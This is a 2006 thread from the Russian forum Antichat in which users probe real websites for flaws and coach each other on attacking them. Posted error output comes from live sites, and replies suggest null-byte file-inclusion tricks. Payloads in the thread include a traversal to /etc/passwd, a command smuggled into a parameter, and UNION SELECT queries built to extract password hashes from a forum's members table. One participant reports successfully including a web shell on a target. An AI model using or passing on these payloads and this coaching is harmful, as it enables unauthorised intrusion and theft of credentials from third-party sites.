Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   Помощь по SQL & PHP (https://forum.antichat.xyz/showthread.php?t=28652)

Lorix 07.12.2006 14:17

Помощь по SQL & PHP
 
В общем если такие ошибки возможен ли тут sql иньекция ?

1,
ndex.php?ID=-1'1699&CATEGORY=0-N-1'ews

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/sfl1/domains/2uk/public_html/story2.php on line 12

Warning: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in
/home/sfl1/domains/2uk/public_html/story2.php on line 17

*******************************************
2,

ain.php?pid=?Qalias=x%0a/bin/ls%20/

Warning: main(pages/?Qalias=x /bin/ls /.php): failed to open stream: No such file or directory in /var/www/clients/jus/main.php on line 97

Warning: main(): Failed opening 'pages/?Qalias=x /bin/ls /.php' for inclusion (include_path='.:/usr/share/pear') in /var/www/clients/just/main.php on line 97

********************************************

3,

/index.htm?id=-1'2518
Fatal error: Call to undefined method DB_Error::fetchInto() in /var/www/html/core/lib/classes/GO_DbObj.php on line 536
********************************************
?_m=news&_a=viewnews&newsid=-1'
Fatal error: Invalid News Item in /home/wwwdkho/public_html/support/modules/news/client_news.php on line 102
*********************************
4.


ndex.php?id='company/services


Warning: main(content/\'company/services.txt) [function.main]: failed to open stream: No such file or directory in /home/wav/public_html/index.php on line 186

Warning: main(content/\'company/services.txt) [function.main]: failed to open stream: No such file or directory in /home/wav/public_html/index.php on line 186



******************************************
И напоследок вот такое

/index.php?id_page=-1

При значение -1
Некаких ошибок нету. Просто Появлятеся белая страница ( инечегона ней нету)

**********************************

Rebz 07.12.2006 14:23

1. возможно sql-inj. По крайне мере раскрытие серверного пути на лицо :)
2. возможно php-incude. Эххх.. попробовал бы %00, ain.php?pid=php-include вроде так.
3. вряд ли скуль.. просто ошибка в обработке данных. Но также во втором случае не исключена возможность sql-inj.
4. чистой воды локальный инклуд. Пробуй отсечь расширения - %00

про "напоследок".. это просто реакция такая на "плохой" параметр...скуль возможна.

Lorix 07.12.2006 14:33

Сенк. Сейчас буду пробывать

EXSlim 07.12.2006 14:35

Цитата:

Сообщение от Rebz
2. возможно php-incude. Эххх.. попробовал бы %00, ain.php?pid=php-include вроде так.

только локальный инклюд из /pages. %00 уместен.

3. Вызов неопределенного метода класса. При возможности глянуть на сам класс GO_DbObj.php

Lorix 07.12.2006 14:43

А где можно поподробнее почитать про локальные инклюды?

Чтото инфы я так и ненашёл. а по мускульным инклюдам врое достаточно

Lorix 07.12.2006 14:51

Во вотором примере пробывал вот так

main.php?pid=?../../../../../../../etc/passwd%00

Warning: main(pages/?../../../../../../../etc/passwd\0.php): failed to open stream: No such file or directory in /var/www/clients/juааlar/main.php on line 97

Rebz 07.12.2006 15:05

значит %00 отпадает.. во-первых, убери вопросительный знак -) а во вторых пробуй разные пхп-файлы втсавлять без расширения пхп.. без ссылки сложно судить.. может даже там ниче и нет интересного

Lorix 07.12.2006 15:28

Цитата:

Сообщение от Rebz
значит %00 отпадает.. во-первых, убери вопросительный знак -) а во вторых пробуй разные пхп-файлы втсавлять без расширения пхп.. без ссылки сложно судить.. может даже там ниче и нет интересного


Можеш плиз в аську стукнутся 491104

m0nzt3r 07.12.2006 15:42

Цитата:

main(pages/
можно инклудить токо то что в папке pages/

VampiRUS 07.12.2006 16:26

про локальные инклуды можешь почитать здесь http://forum.antichat.ru/threadnav22832-1-10.html
в 4 случае ты можешь просмотреть services.txt, вероятнее всего там php код. возможно там есть ошибки или пароли к бд.

Macro 07.12.2006 16:35

А как считать converge_members_pass и converge_pass_salt из БД (я нашел скуль в invision gallery 2.0.4) ??? Когда ввожу в адрес вот так: site/forum/index.php?act=module&%20%20module=gallery&cmd=slid eshow&show=1,%201%20UNION%20SELECT%20converge_pass _hash%20FROM%20ipbf_members%20LIMIT%201

То выдает ошибку : mySQL query error: SELECT i.file_type, i.masked_file_name, i.caption, i.id, i.directory, m.name, m.id AS mid
FROM ipbf_gallery_images i, ipbf_members m
WHERE album_id=0 AND m.id=i.member_id
ORDER BY date DESC
LIMIT 1, 1 UNION SELECT converge_pass_hash FROM ipbf_members LIMIT 1, 1

SQL error: Incorrect usage of UNION and ORDER BY

vmn 07.12.2006 17:16

Не совпадает количество столбцов до юнион и после, кроме того возможно после order by нельзя употреблять union. В любом случае есть возможность посимвольного перебора.

Macro 07.12.2006 18:22

Цитата:

Сообщение от vmn
Не совпадает количество столбцов до юнион и после, кроме того возможно после order by нельзя употреблять union. В любом случае есть возможность посимвольного перебора.

Спасибо! Но это мне не поможет :)
Я вот еще нашел, но тут тоже не врубаюсь.

http:/site/forum/index.php?act=module&module=gallery&cmd=si&img=207 %20UNION%20SELECT%201,2,3,4,converge_pass_hash%20F ROM%20ipbf_members_converge

И соответственно:
mySQL query error: SELECT id, caption, masked_file_name, directory, media, thumbnail FROM ipbf_gallery_images WHERE album_id=3 AND id > 207 UNION SELECT 1,2,3,4,converge_pass_hash FROM ipbf_members_converge ORDER BY id ASC LIMIT 0,2

SQL error: The used SELECT statements have a different number of columns

Не поможешь?(уже нашел)


Так. Я нашел число столбцов точно, теперь выдает страницу с картинкой. Но почему-то не дает мне хэшей.

Lorix 07.12.2006 20:12

Огромнеейшее спасибо Хатабычюю ака }{0tt@БЬ)Ч

Что помог мне заинклюдить шелл =),

+5 так сказать =).

}{0TT@БЬ)Ч 07.12.2006 20:14

Цитата:

Сообщение от Rebz
возможно php-incude. Эххх.. попробовал бы %00, ain.php?pid=php-include вроде так.

Глобальный инклуд там и даже нулевой байт не нужен.

m0nzt3r 07.12.2006 20:34

Цитата:

Глобальный инклуд там
Мда.Закрыто, раз все сделано.


Время: 18:14